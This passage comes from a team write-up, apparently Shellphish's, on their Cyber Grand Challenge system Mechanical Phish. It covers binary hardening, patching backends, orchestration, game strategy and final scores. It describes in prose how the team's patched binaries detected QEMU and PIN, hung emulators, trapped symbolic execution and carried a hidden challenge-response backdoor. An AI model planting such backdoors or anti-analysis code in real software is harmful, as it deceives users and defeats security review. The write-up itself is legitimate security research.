‑ The target address must be inside the memory range where the binary's code is typically loaded (for simplicity, we consider a "potential code" address to be any below 0x4347c000). To avoid breaking programs that use dynamically allocated code we do not perform this check if we statically detect that the analyzed program calls the allocate syscall in a way which will create additional executable memory.

‑ The target address is not a pop instruction. As a partial mitigation against ROP attacks, we dynamically check if the target of indirect calls is a pop instruction, and terminate the program otherwise.

* Uninitialized Data Cleaning

For each function, we identify all of the instructions that read and write to stack variables, and the stack offset that is accessed. If there is any path through the CFG such that a stack variable is read before it is written, then we consider it possible that there is an uninitialized data usage. For each variable that is detected in an uninitialized data usage, we zero that variable by adding stack cleaning code at the beginning of the function.

* Stack Base Address Randomization

On program's startup we add a random value (which can assume any 16‑byte aligned value between 16 and 1024) to the stack pointer address. This adds indeterminism to the position of the stack, hindering any exploit making assumptions on the program's stack layout.

* malloc Protection

To interfere with exploitation of heap overflows, if we are able to identify a malloc‑like function inside the analyzed CB, we slightly modify its behavior. In particular, we change the amount of bytes allocated by a small, pseudo‑random, value.

* printf Protection

For every printf‑like function identified, such as printf, snprintf, etc., we ensure that the function is not used to perform a "format string" attack. Specifically, if the format string parameter is neither in the binary's read‑only memory nor a string already present in the binary, we stop the execution of the binary if:

‑ The format string parameter contains a meta character (e.g., "%"). ‑ The format string parameter points to the flag page.

‑‑[ 004.001.002 ‑ Adversarial Techniques

Certain techniques are introduced to prevent rivals from analyzing, or even running our RBs in a controlled environment, while leaving those RBs still able to run in the real game environment. These techniques are presented in this section.

* Anti‑analysis

We add some code, executed before the original entry point of the binary, to interfere with analyses that other teams could perform on our patched binary. Specifically, we add code to:

‑ Detect if the binary is executed using QEMU or PIN. To do so, we probe the implementation of different aspects that are difficult to emulate correctly, such as segment registers, transmission of partially allocated memory regions, syscall error codes values in case of "double failure". In addition, we add some code triggering a previously unknown implementation bug in QEMU, making it stall. Specifically, during the development of our CRS, we found that QEMU, when using user‑mode emulation, does not correctly handle taking the square root of an "un‑normal" floating point number, that is, a nonzero 80‑bit float whose explicit integer bit (the highest bit of the mantissa) is zero. When this happens, QEMU will hang forever. Because of this anti‑QEMU patch, some of our RBs broke the live visualization during the CFE public event. ‑ Interfere with symbolic execution engines. Our adversarial code contains self‑modifying code designed to be extremely hard to simulate correctly and efficiently by a symbolic execution engine. In addition, some added code is specifically designed to trigger "path explosion" conditions. ‑ Interfere with automatic exploitation systems. We add code to transmit the flag page to file descriptor 2 (stderr). Although data transmitted to this file descriptor is not sent to a CRS interacting with a binary, an opponent could mistakenly assume that any contiguous 4 bytes transmitted from the flag page constitutes a Type 2 exploit and thus fielding a POV trying to leverage this "fake" leak. In addition, we inject "fake backdoor" code. This code is triggered if a CRS sends a specific 4‑byte sequence. When triggered, it reads from the CRS 8 bytes used to set the program instruction pointer and the value of a register. For this reason, this code looks like easily exploitable to create a Type 1 POV, however the read values are xor'ed with a random value, before being used to set the instruction pointer and the register, making this code non‑exploitable.

In addition, to counteract an adversary fielding one of our own patched binaries as its own patched binary, we inject a backdoor in every fielded patched binary. This backdoor can be used by our CRS to exploit the patched binary we generate, but it is designed to be extremely hard to be exploited from other teams' CRSs. The backdoor is triggered when a specific 4‑byte sequence is received. To detect this, the function wrapping the receive syscall is modified to keep track of the first 4 bytes a program receives. Once triggered, the backdoor sends to the CRS a "challenge" C (which is a 19‑bit value), and the CRS responds with a response R (a 64‑bit value). Then, the backdoor code checks if the following condition is true: first_32_bits_of(SHA1(pad(R,160))) == pad(C,32), where pad(A,N) is a function padding the input value A up to N bits by adding zeros.

The challenge can be easily solved by pre‑computing all the possible responses, but it is impossible for an opponent's POV to compute a solution for the challenge within the game‑imposed 10‑second timeout.

‑‑[ 004.001.003 ‑ Optimization Techniques

Performance is a vital concern of our patching strategy. While we stress the necessity of optimizing all our patching techniques, some overhead cannot be avoided. From analyzing binaries collected from CQE and CFE samples, we noticed that most of them are compiled with O0, i.e., without optimization enabled. We do not know why organizers decided not to optimize most of the provided challenges, but we speculated that this may have been decided to leave room for optimizations and patching.

It is well‑known that O0 and O1 binaries can have a huge difference in execution time. Fortunately, some of the optimization methods used in O1 are not that difficult to perform directly on binaries. Further, angr provides all necessary data‑flow analysis techniques, which makes the whole optimization development easier. Finally, with the help of the ReassemblerBackend, we can easily fully remove instructions that we want to get rid of, without having to replace them with nops. Therefore, we implemented some basic in‑line binary optimization techniques in order to optimize O0 binaries in CFE, which are described below.

‑ Constant Propagation. We propagate constants used as immediates in each instruction, and eliminate unnecessary mov instructions in assembly code. ‑ Dead Assignment Elimination. Many unnecessary assignments occur in unoptimized code. For example, in unoptimized code, when a function reads arguments passed from the stack, it will always make a copy of the argument into the local stack frame, without checking if the argument is modified or not in the local function. We perform a conservative check for cases where a parameter is not modified at all in a function and the copy‑to‑local‑frame is unnecessary. In this case, the copy‑to‑local instruction is eliminated, and all references to the corresponding variable on the local stack frame are altered to reference the original parameter on the previous stack frame. Theoretically, we may break the locality, but we noticed some improvement in performance in our off‑line tests.

‑ Redundant Stack Variable Removal. In unoptimized code, registers are not allocated optimally, and usually many registers end up not being used. We perform a data‑flow analysis on individual functions, and try to replace stack variables with registers. This technique works well with variables accessed within tight loops. Empirically speaking, this technique contributes the most to the overall performance gain we have seen during testing.

Thanks to these optimizations, our patches often had *zero* overall performance overhead.

‑‑[ 004.002 ‑ Patches

The techniques presented in the previous section return, as an output, lists of patches. In Patcherex, a patch is a single modification to a binary.

The most important types of patches are:

‑ InsertCodePatch: add some code that is going to be executed before an instruction at a specific address.

‑ AddEntryPointPatch: add some code that is going to be executed before the original entry point of the binary.

‑ AddCodePatch: add some code that other patches can use.

‑ AddRWData: add some readable and writable data that other patches can use.

‑ AddROData: add some read‑only data that other patches can use.

Patches can refer to each other using an easy symbol system. For instance, code injected by an InsertCodePatch can contain an instruction like call check_function. In this example, this call instruction will call the code contained in an InsertCodePatch named check_function.

‑‑[ 004.003 ‑ Backends

We implemented two different backends to inject different patches. The DetourBackend adds patches by inserting jumps inside the original code, whereas the ReassemblerBacked adds code by disassembling and then reassembling the original binary. The DetourBackend generates bigger (thus using more memory) and slower binaries (and in some rare cases it cannot insert some patches), however it is slightly more reliable than the ReassemblerBackend (i.e., it breaks functionality in slightly less binaries).

* DetourBackend

This backend adds patches by inserting jumps inside the original code. To avoid breaking the original binary, information from the CFG of the binary is used to avoid placing the added jmp instruction in‑between two basic blocks. The added jmp instruction points to an added code segment in which first the code overwritten by the added jmp and then the injected code is executed. At the end of the injected code, an additional jmp instruction brings the instruction pointer back to its normal flow.

In some cases, when the basic block that needs to be modified is too small, this backend may fail applying an InsertCodePatch. This requires special handling, since patches are not, in the general case, independent (a patch may require the presence of another patch not to break the functionality of a binary). For this reason, when this backend fails in inserting a patch, the patches "depending" from the failed one are not applied to the binary.

* ReassemblerBackend

ReassemblerBackend fully disassembles the target binary, applies all patches on the generated assembly, and then assembles the assembly back into a new binary. This is the primary patching backend we used in the CFE. Being able to fully reassemble binaries greatly reduces the performance hit introduced by our patches, and enables binary optimization, which improves the performance of our RBs even further. Also, reassembling usually changes base addresses and function offsets, which achieves a certain level of "security by obscurity" ‑‑ rivals will have to analyze our RBs if they want to properly adapt their code‑reusing and data‑reusing attacks.

We provide an empirical solution for binary reassembling that works on almost every binary from CQE and CFE samples. The technique is open‑sourced as a component in angr, and, after the CGC competition, it has been extended to work with generic x86 and x86‑64 Linux binaries.

A detailed explanation as well as evaluation of this technique is published as an academic paper [Ramblr17].

‑‑[ 004.004 ‑ Patching Strategy

We used Patcherex to generate, for every CB, three different Replacement Binaries (RBs):

‑ Detouring RB: this RB was generated by applying, using the DetourBackend, all the patches generated by the hardening and adversarial techniques presented previously.

‑ Reassembled RB: this RB was generated by applying the same patches used by the Detouring RB, but using the ReassemblerBackend instead of the DetourBackend.

‑ Optimized Reassembled RB: this RB was generated as the Reassembled one, but, in addition all the patches generated by the optimization techniques were added.

These three patched RBs have been listed in order of decreasing performance overhead and decreasing reliability. In other words, the Detouring RB is the most reliable (i.e., it has the smallest probability of having broken functionality), but it has the highest performance overhead with respect to the original unpatched binary. On the contrary the Optimized Reassembled RB is the most likely to have broken functionality, but it has a lower performance impact.

‑‑[ 004.005 ‑ Replacement Binary Evaluation

* Pre‑CFE Evaluation

During initial stages of Patcherex development, testing of the RBs was done by an in‑house developed component called Tester. Internally, Tester uses cb‑test, a utility provided by DARPA for testing a binary with pre‑generated input and output pairs, called polls. We made modifications to cb‑test, which enabled the testing of a binary and its associated IDS rules on a single machine, whereas the default cb‑test needs 3‑machines to test a binary with IDS rules.

Tester can perform both performance and functionality testing of the provided binary using the pre‑generated polls for the corresponding binary using its Makefile. For functionality testing, given a binary, we randomly pick 10 polls and check that the binary passes all the polls. For performance testing, we compute the relative overhead of the provided binary against the unpatched one using all the polls. However, there was huge discrepancy (~10%) between the performance overhead computed by us and that provided during sparring partner sessions for the same binaries. Moreover, during the sparring partner sessions, we also noticed that performance numbers were different across different rounds for the same binaries. Because of these discrepancies and to be conservative, for every patching strategy, we computed the performance overhead as the maximum overhead across all rounds of sparring partner sessions during which RBs with corresponding patching strategy are fielded.

During internal testing we used all the available binaries publicly released on GitHub (some of which were designed for the CQE event, whereas others were sample CFE challenges). To further extend our test cases, we recompiled all the binaries using different compilation flags influencing the optimization level used by the compiler. In fact, we noticed that heavily optimized binaries (e.g., ‑O3), were significantly harder to analyze and to patch without breaking functionality. Specifically, we used the following compilations flags: ‑O0, ‑Os, ‑Oz, ‑O1, ‑O2, ‑O3, ‑Ofast. Interestingly, we noticed that some of the binaries, when recompiled with specific compilation flags, failed to work even when not patched.

During the final stages of Patcherex development, we noticed that almost all generated RBs never failed the functionality and that the performance overhead was reasonable except for a few binaries. This, combined with the discrepancy inherent in performance testing, led us not to use any in‑depth testing of our replacement binaries during the CFE.

* CFE Evaluation

For every RB successfully generated, Patcherex first performs a quick test of their functionality. The test is designed to spot RBs that are broken by the patching strategy. In particular, Patcherex only checks that every generated RB does not crash when provided with a small test set of hardcoded input strings ("B", "\n", "\n\n\n\n\n\n", etc.)

We decided to perform only a minimal tests of the functionality because of for performance and reliability considerations.

‑‑[ 004.006 ‑ Qualification Round Approaches

It is worth mentioning that for the CGC qualification round, the rules were very different from the final round. Between this and the fact that our analysis tools were not yet mature it was necessary for us to approach patching very differently from the final round approaches previously described.

In the qualification round, the only criteria for "exploitation" was a crash. If you could crash a binary, it meant that you could exploit it, and if your binary could crash, it meant that you were vulnerable. Furthermore, the qualification scoring formula was such that your "defense" score, i.e. how many vulnerabilities your patch protected against, was a global multiplier for your score between zero and one. This meant that if you didn't submit a patch for a binary, or if your patch failed to protect against any of the vulnerabilities, you received zero points for that challenge, regardless of how well you were able to exploit it.

This is such an unconventional scoring system that when we analyzed the (publicly available) patches produced by other teams for the qualification round, we found that at least one qualifying team had a patching strategy such that whenever they discovered a crash, they patched the crashing instruction to simply call the exit syscall. This is technically not a crash, so the teams that did this did in fact receive defense points for the challenges, and accordingly did in fact receive a non‑negligible score for effectively stubbing out any vaguely problematic part of the binary.

Our approaches were slightly more nuanced! There were two techniques we developed for the qualification round, one "general" technique, meaning that it could be applied to a program without any knowledge of the vulnerabilities in a binary, and one "targeted" technique, meaning that it was applied based on our CRS' knowledge of a vulnerability. Each of the techniques could produce several candidate patched binaries, so we had to choose which one to submit in the end ‑ our choice was based on some rudimentary testing to try to ascertain if the binary could still crash, and if not, to assess the performance impact of the patch.

It is important to notice for CQE, the patched binaries were tested by the organizers against a fixed set of pre‑generated exploits. For this reason, our patched binaries just had to prevent to be exploited when run against exploit developed for the original, unpatched, version of the program. In other words, the attacker had no way to adapt its exploits to our patches and so "security trough obscurity" techniques were extremely effective during the qualification event.

‑‑[ 004.006.001 ‑ Fidget

Our "general" patching technique for CQE was a tool called Fidget. Fidget was developed the summer prior to the announcement of the CGC for use in attack‑defense CTFs. Its basic intuition is that the development of an attack makes a large number of very strong assumptions about the internal memory layout of a program, so in many cases simply tweaking the layout of stack variables is a reliable security‑through‑obscurity technique.

At the time of the CQE, Fidget was a tool capable of expanding function stack frames, putting unused space in between local variables stored on the stack. This is clearly not sufficient to prevent crashes, as is necessary for the strange qualification scoring formula. However, the tool had an additional mode that could control the amount of padding that was inserted; the mode that we used attempted to insert thousands of bytes of padding into a single stack frame! The idea here is, of course, that no overflow attack would ever include hundreds of bytes more than strictly necessary to cause a crash.

The primary issue with Fidget is that it's pretty hard to tell that accesses to different members or indexes of a variable are actually accesses to the same variable! It's pretty common for Fidget to patch a binary that uses local array and struct variables liberally, and the resulting patched binary is hilariously broken, crashing if you so much as blow on it. There are a huge number of heuristics we apply to try not to separate different accesses to the same variable, but in the end, variable detection and binary type inference are still open problems. As a result, Fidget also has a "safe mode" that does not try to pad the space in between variables, instead only padding the space between local variables and the saved base pointer and return address.

We originally planned to use Fidget in the final round, since it had the potential to disrupt exploits that overflow only from one local variable into an adjacent one, something that none of our final‑round techniques can address. However, it was cut from our arsenal at the last minute upon the discovery of a bug in Fidget that was more fundamental than our ability to fix it in the limited time available! Unfortunate...

‑‑[ 004.006.002 ‑ CGrex

If we know that it's possible for a binary to crash at a given instruction, why don't we just add some code to check if that specific instruction would try to access unmapped or otherwise unusable memory, and if so exit cleanly instead of crashing? This is exactly what CGrex does.

Our reassembler was not developed until several weeks before the CGC final event, so for the qualification round CGrex was implemented with a primitive version of what then became the DetourBackend. Once our CRS found a crash, the last good instruction pointer address was sent to CGrex, which produced a patched binary that replaced all crashing instructions with jumps to a special inserted section that used some quirks in some syscalls to determine if the given memory location was readable/writable/executable, and exit cleanly if the instruction would produce a crash.

More precisely, CGrex takes, as input, a list of POVs and a CB and it outputs a patched CB "immune" against the provided POVs. CGrex works in five steps:

1) Run the CGC binary against a given POV using a modified QEMU version with improved instruction trace logging and able to run CGC binaries.

2) Detect the instruction pointer where the POV generates a crash (the "culprit instruction").

3) Extract the symbolic expression of the memory accesses performed by the "culprit instruction" (by using Miasm). For instance, if the crashing instruction is mov eax, [ebx*4+2] the symbolic expression would be ebx*4+2.

4) Generate "checking" code that dynamically:

‑ Compute the memory accesses that the "culprit instruction" is going to perform.

‑ Verify that these memory accesses are within allocated memory regions (and so the "culprit instruction" is not going to crash). To understand if some memory is allocated or not CGrex "abuses" the return values of the random and fdwait syscalls.

In particular these syscalls were used by passing as one of the parameters the value to be checked. The kernel code handling these functions verifies that, for instance, the pointer were the number of random bytes returned by random is written is actually pointing to writable memory and it returns a specific error code if not. CGrex checks this error code to understand if the tested memory region is allocated. Special care is taken so that, no matter if the tested memory location is allocated or not, the injected syscall will not modify the state of the program.

‑ If a memory access outside allocated memory is detected, the injected code just calls exit.

5) Inject the "checking" code.

Steps 1 to 5 are repeated until the binary does not crash anymore with all the provided POVs.

‑‑[ 005 ‑ Orchestration

+‑‑‑‑‑‑‑‑+ +

CGC endpoints | TI API | | IDS tap |

+‑‑‑‑‑‑‑‑+ +

.

/ \

|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑

|

Mechanical Phish \ / \ /

'

+‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑

| Ambassador | |Network Dude|

+‑‑‑‑‑‑‑‑‑‑‑‑+ +‑+‑

| |

+‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑+ | |

| Meister | | Scriba | | |

+‑‑‑‑‑+‑‑‑‑‑‑+ +‑‑‑‑‑‑‑+‑‑‑‑+ | |

| | | | +

+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+ | | |Worker |

| | | |

_‑‑‑‑‑‑‑‑‑‑_ | | |Poll creator AFL Driller |

( )<‑‑‑‑‑‑‑‑‑+ | |

|`‑‑‑‑‑‑‑‑‑‑`|<‑‑‑‑‑‑‑‑‑‑‑‑‑+ |Tester POV Tester POV Fuzzer |

| |<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Farnsworth | | Patcherex Colorguard Rex |

( ) |

`‑‑‑‑‑‑‑‑‑‑` +

Designing a fully autonomous system is a challenging feat from an engineering perspective too. In the scope of the CFE, the CRS was required to run without fault for at least 10 hours. Although it was proposed to allow debugging during the CFE, eventually, no human intervention was permitted.

To that end, we designed our CRS using a microservice‑based approach. Each logical part was split following the KISS principle ("Keep it simple, stupid") and the Unix philosophy ("Do one thing and do it well").

Specifically, the separation of logical units allowed us to test and work on every component in complete isolation. We leveraged Docker to run components independently, and Kubernetes to schedule, deploy, and control component instances across all 64 nodes provided to us.

‑‑[ 005.001 ‑ Components

Several different components of Mechanical Phish interacted closely together during the CRS (see diagram above). In the following, we will briefly talk about the role of each component.

* Farnsworth

Farnsworth is a Python‑based wrapper around the PostgreSQL database, and stores all data shared between components: CBs, POVs, crashing inputs, synchronization structures, etc. In our design, we prohibited any direct communication between components and required them to talk "through" Farnsworth. Therefore, Farnsworth was a potential single point of failure. To reduce the associated risk for the CFE, we paid particular attention to possible database problems and mitigated them accordingly.

* Ambassador

Ambassador was the component that talked to the CGC Team Interface (TI) to retrieve CBs, obtain feedback, and submit RBs and POVs. In the spirit of KISS, this component is the only part of Mechanical Phish to communicate externally and the only source for the ground truth in respect to the game state.

* Meister

Meister coordinated Mechanical Phish. For each component, a componentspecific creator decided which jobs should be run at any point in the game, based on information obtained through Farnsworth and written by Ambassador. Consequently, Meister decided which jobs to run based on the priority information of each job (as specified by the creator) and usage of the nodes in terms of CPU and memory. Note that, specifically, Meister and its creators were entirely stateless. At any point, it could crash, yet it would not kill existing jobs upon automatic restart if they were still considered important by the creators.

* Scriba

An important task of the CRS was to select and submit the POVs and RBs, respectively. Scriba looked at performance results of exploits and patches and decided what and when to submit (for more details on the selection strategy see Section 6 ‑ Strategy). As mentioned previously, after Scriba decided what and when to submit, Ambassador actually submitted to the TI (as Ambassador is the only component allowed to communicate externally).

* Network Dude

The Network Dude component received UDP traffic coming from the IDS tap and stored it into the database via Farnsworth. Since it is required to receive packets at line‑speed, neither parsing nor analysis of the network data was performed within Network Dude, instead, we relied different components to process the network traffic.

* Worker

Worker was the executor for analysis tasks of the CRS. It wrapped tools such as angr, Driller, Patcherex in a generic interface to be managed easily. In fact, every Worker instance referred to an entry in a jobs queue specifying task arguments and type. Since some of the workers had to execute CGC DECREE binaries for functionality and performance evaluation, we included a DECREE virtual machine running on QEMU within a worker.

‑‑[ 005.002 ‑ Dynamic Resource Allocation

Another advantage of our architecture design, alongside dependency isolation and ease of deployment, was the possibility to dynamically scale components to meet our needs. Except for the PostgreSQL database and some internal Kubernetes services, all our components could run on any node without limitation.

Furthermore, when creating a job, Meister assigned it a priority based on the component and the current game status. For example, crash‑generation jobs (Rex) were prioritized lower if an input crash was not considered reliable, or the analysis of a de‑fielded CB was considered of no importance at all. Intuitively, all created jobs were sorted by descending values of priority, and scheduled through the Kubernetes API until all nodes' resources (CPU and memory) were saturated. Once all node resources were taken by running jobs, Meister killed jobs with lower priority to accommodate new higher priority jobs, but it did not over‑provision.

‑‑[ 005.003 ‑ Fail‑over

Mechanical Phish was required to run without failure for the duration of the CFE, an estimated 10 hours. Furthermore, no debugging sessions were permitted and the CRS was recommended to be resistant to minor hardware failure (or might have risked to "crash and burn").

To improve the reliability and resiliency of Mechanical Phish, we took various steps. First, every component, including Ambassador, Meister, Scriba, Network Dude, and Workers, was deployed as a Docker container. All components were designed to be entirely stateless, allowing us to restart them and move them across nodes if necessary.

Although components could be terminated abruptly without any significant consequence, some components were critical and were required to be running for Mechanical Phish to function correctly: These were Ambassador, Network Dude, Scriba, and Meister (crashing and recovering is acceptable for these components). Fortunately, Kubernetes provided a way to define always‑running instances through DaemonSet and ReplicationController resources. If an instance of such type is terminated or timed out, it is automatically launched on another node (to prevent Kubernetes to be a single point‑of‑failure, Mechanical Phish was using a highly‑available Kubernetes setup with multiple masters and virtual IP addresses for access).

* Database

Naturally, the entire system cannot be completely stateless, and a single stateful component is required, which was Farnsworth. To prevent any failure of the node running the PostgreSQL Docker containers or the containers themselves, we leveraged PostgreSQL's built‑in master‑slave streaming replication for a resilient system. Specifically, for the CFE, we ran 5 instances on 5 different physical nodes evenly spread across the rack, and an additional health‑checking monitoring service. The monitor service itself was run using a ReplicationController resource. If the master database container would have been considered dead by the monitor, a slave instance would have been elected as the new master and a replacement slave would have been created on a healthy node. To prevent components from failing during database disaster recovery, they accessed the database in a retry loop with exponential back‑off. In turn, it would have ensured that no data would have been lost during the transition from a slave to master.

* CGC Access Interfaces

The CGC CFE Trials Schedule defined that specific IP addresses were required to communicate with the CGC API. Given the distributed nature of our CRS and the recommendation to survive failure, the IP addresses remained the last single point of failure as specific components needed to be run on specific physical hosts. Consequently, we used Pacemaker and Corosync to monitor our components (Ambassador and Network Dude), and assign the specific IP addresses as virtual IP addresses to a healthy instance: if a node failed, the address would move to a healthy node.

‑‑[ 006 ‑ Strategy

‑‑‑;;;;;;;‑‑‑‑‑'''''''''``' ‑‑‑ `' .,,ccc$$hcccccc,. `' ,;;!!!'``,;;!!'

;;;;,,.,;‑‑‑‑‑‑‑''''''' ,;;!!‑ .zJ$$$$$$$$$$$$$$$$$$$c,. `' ,;;!!!!' ,;

```' ‑;;;!'''''‑ `.,.. .zJ$$$$$$$$$$$$$$$$$$$$$$$$$$c, `!!'' ,;!!'

!!‑ ' `,;;;;;;;;;;'''''```' ,c$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$c, ;!!'' ,;

,;;;!!!!!!!!''``.,;;;;!'`' z$$$$$$$$???"""""'.,,.`"?$$$$$$$$$$$ ``,

;;.. ‑‑''```_..,;;! J$$$$$$??,zcd$$$$$$$$$$$$$$$$$$$$$$$$h ``'``'

```''' ,;;''``.,.,;;, ,$$$$$$F,z$$$$$$$$$$$$$$$$$$$c,`""?$$$$$h

!!!!;;;;, ‑‑`!''''''' $$$$$$$$$$$$$$$h.`"$$$$h .

`'''``.,;;;!;;;‑‑;; zF,$$$$$$$$$$?????$$$$$$$$$$$$$?????$$r ;?$$$ $.

!;.,..,.````.,;;;; ,$P'J"$$$$$$P" .,c,,.J$$$$$$$$$"',cc,_`?h.`$$$$ $L

'``````' .,.. ,$$". $ $$$$P",c$$$$$$$$$$$$$$$$',$$$$$$$$$$ $$$$ $$c,

!!!!!!!!!!!!!''' J$',$ $.`$$P c$$$$$$$$$$$$$$$$$$,$$$$$$$$$$$ $$$$ $$$$C

`` J$ ,$P $$ ?$',$$$$???$$$$$$$$$$$$$$$??"""?$$$

c ;, z$F,$$ `$$ $ ?$" "$$$.?$$$ $$$P c??c, ?$.<$$',$$$$$F

$$h. ‑!> (' $" $F ,F ?$ $ F ,="?$$c,`$$F $$"z$$',$' ,$$P $h.`$ ?$$$$$r $$$$$hc,. ``' J$ $P J$ . $$F L ",,J$$$F <$hc$$ "$L,`??????,J$$$.` z$$$$$ $$$$$$$$$$c,'' ?F,$',$F.: $$ c$c,,,,,c,,J$$$$$$$ ?$$$c,,,c$$$$$$F. $$$$$$ `"$$$$$$$$$$$c, $$',$$ :: $$$$$$$$F"',$$$$$$$$$$h ?$$$L;;$$$??$$$$ $$$$$$ "?$$$$$$$$$$ $$$$$$ : .`F"$$$$$$$$$$$$""""?"""h $$$$$$$"$,J$$$$ $$$$$' "?$$$$$$$ $$$$$$.`.` h `$$$$$$$$$$$cccc$$c,zJ$$$$$P' $$$$$P',$$$$P $. `""?$$ $$$$$$$ ` "$c "?$$$$$$$$$$$$??$$$$$$$$" ,J$$$P",J$$$$P

.. `" ?$$$$$$h ?$$c.`?$$$$$$$$$' . <$$$$$' ,$$$" ,$$$$$"

!!>. . `$$$$$$$h . "$$$c,"$$$$$$$' `' `$$$P ,$$$' ,c$$$$$' ;! ```<!!!> `$$$$$$$c "$$$c`?$$$$$ : : $$$ ,$$P' z$$$$$$' ;!!

$hc ```' ; `$$$$$$$. ?$$c ?$$$$ .: : $$$ $$F ,J$$$$$$' ;!!

.,.. ' `$$$$$$$ "$$h`$$$$ .' ' $$$ ,$$ ,J$$$$$$' !!!

????P `$$$$$$L $$$ $$$F :.: J$$P J$F J$$$$$P ;!!

‑=< ?$$."$$ `$$ ?z$$$F $P $$$$$$' !!'

cc `$$$c`? ?$.`$$hc, cd$$F ,$' $$$$$$ ;!! $$$$c `$$c$$$$$$$$$",c$' $$$$$$ `!!

$$$$$ `?$P' $$$$$$> ..

$$$$$ `P" $$$$$$L $$c,

!! <$$$$$ zc,`"""', <$$$$$$.`$$$$cc,

!! J$$$$P `$$$$$$$' !' $$$$$$L `$$$$$$h

;, $$$$$L `! J$$$$$',!! $$$$$$$ `$$$$$$

' <$$$$$. !

,$$$$$$$c `,`???? ;' c,?$$$$' `?$$$

$$$$$$$?? `h."?$P `$$$

,$$$$$$$h. `''' `' `$$$P `?$

$$$$$$$$h `!' `"'

`$$$$$$$$F !; ! ;,

`$$$$$$$' `!!

c, ;, `?$$$$P !!> .

$F !!> `""' `!!

The General Strategy of Shellphish

The Mechanical Phish was only about three months old when the final event of the Cyber Grand Challenge took place. Like any newborn, its strategic thought processes were not well developed and, unfortunately, the sleep‑deprived hackers of Shellphish were haphazard teachers at best. In this section, we describe what amounted to our game strategy for the Mechanical Phish and how the rules of the Cyber Grand Challenge, combined with this strategy, impacted the final result.

* Development Strategy

The Shellphish CGC team was comprised completely of researchers at the UC Santa Barbara computer security lab. Unfortunately, research labs are extremely disorganized environments. Also unfortunately, as most of us were graduate students, and graduate students need to do research to survive (and eventually graduate), we were fairly limited in the amount of time that we could devote to the CGC. For example, for the CGC Qualification Event, we built our CRS in two and a half weeks. For the final event, we were able to devote a bit more time: on average, each member of the team (the size of which gradually increased from 10 to 13 over the course of the competition) probably spent just under three months on this insanity.

One thing that bit us is that we put off true integration of all of the components until the last minute. This led to many last‑minute performance issues, some of which we did not sort out before the CFE.

* Exploitation Strategy

Our exploitation strategy was simple: we attack as soon and as frequently as possible. The only reason that we found to hold back was to avoid letting a victim team steal an exploit. However, there was not enough information in the consensus evaluation to determine whether a team did or did not have an exploit for a given service (and attempting to recover this fact from the network traffic was unreliable), so we decided on a "Total War" approach.

* Patching Strategy

For every not‑failing RB, we submitted the patch considered as the most likely to have a better performance score. Specifically, given the way in which RBs were created, we ranked RBs according to the following list: Optimized Reassembled RB, Reassembled RB, Detouring RB. This choice was motivated by the fact that detouring is slow (as it causes cache flushes due to its propensity to jumping to many code locations), whereas the generated optimized RBs are fast. Of course, we could not always rely on the reassembler (and optimizer) to produce a patch, as these backends had some failure cases.

For every patch submitted, the corresponding CS is marked down for a round. Because this can be (and, in the end, was) debilitating to our score, we evaluated many strategies with regards to patching during the months before the CFE. We identified four potential strategies:

‑ Never patch: The simplest strategy was to never patch. This has the advantage of nullifying the chances of functionality breakages and avoiding the downtime associated with patching.

‑ Patch when exploited: The optimal strategy would be to patch as soon as we detect that a CS was being exploited. Unfortunately, detecting when a CS is exploited is very difficult. For example, while the consensus evaluation does provide signals that the binaries cause, these signals do not necessarily correlate to exploitation. Furthermore, replaying incoming traffic to detect exploitation is non‑trivial due to complex behaviors on the part of the challenge binaries.

‑ Patch after attacking: An alternative strategy is to assume that an opponent can quickly steal our exploits, and submit a patch immediately after such exploits are fired. In our latter analysis, we determined that this would have been the optimal strategy, granting us first place.

‑ Always patch: If working under the assumption that the majority of challenge sets are exploited, it makes sense to always patch.

Most teams in the Cyber Grand Challenge took this decision very seriously. Of course, being the rag‑tag group of hackers that we are, we did some fast‑and‑loose calculations and made a result based on data that turned out to be incorrect. Specifically, we assumed that a similar fraction of the challenges would be exploited as the fraction of challenges crashed during the CQE (about 70%). At the time, this matched up with the percentage of sample CGC binaries, provided by DARPA during sparring partner rounds, that we were exploiting. Running the numbers under this assumption led us to adopt the "always patch" approach:

1. At the second round of a challenge set's existence, we would check if we had an exploit ready. If not, we would patch immediately, with the best available patch (out of the three discussed above). Otherwise, we would delay for a round so that our exploit had a chance to be run against other teams.

2. Once a patch was deployed, we would monitor performance feedback.

3. If feedback slipped below a set threshold, we would revert to the original binary and never patch again.

In this way, we would patch *once* for every binary. As we discuss later, this turned out to be one of the worst strategies that we could have taken.

‑‑[ 007 ‑ Fruits of our Labors

In early August, our creation had to fight for its life, on stage, in front of thousands of people. The Mechanical Phish fought well and won third place, netting us $750,000 dollars and cementing our unexpected place as the richest CTF team in the world (with a combined winnings of 1.5 million dollars, Shellphish is the first millionaire CTF team in history!).

This is really cool, but it isn't the whole story. The CGC generated enormous amounts of data, and to truly understand what happened in the final event, we need to delve into it. In this section, we'll talk specifically regarding what happened, who achieved what, and how the CGC Final Event played out.

For reference throughout this section, the final scores of the CGC Final Event were:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑

| Team | CRS Name | Points |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑

| ForAllSecure | Mayhem | 270,042 | | TECHx | Xandra | 262,036 | | Shellphish | Mechanical Phish | 254,452 | | DeepRed | Rubeus | 251,759 | | CodeJitsu | Galactica | 247,534 | | CSDS | Jima | 246,437 | | Disekt | Crspy | 236,248 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑

The attentive reader will notice that the score of the Mechanical Phish is the only one that is a palindrome.

‑‑[ 007.001 ‑ Bugs

The CGC was the first time that autonomous systems faced each other in a no‑humans‑allowed competition. As such, all of the Cyber Reasoning Systems likely faced some amount of bugs during the CFE. The most visible was Mayhem's, which resulted in the system being off‑line for most of the second half of the game (although, as we discuss later in this section, that might not have hurt the system as much as one would think). Our system was no different. In looking through the results, we identified a number of bugs that the Mechanical Phish ran into during the CFE:

* Multi‑CB pipeline assertions

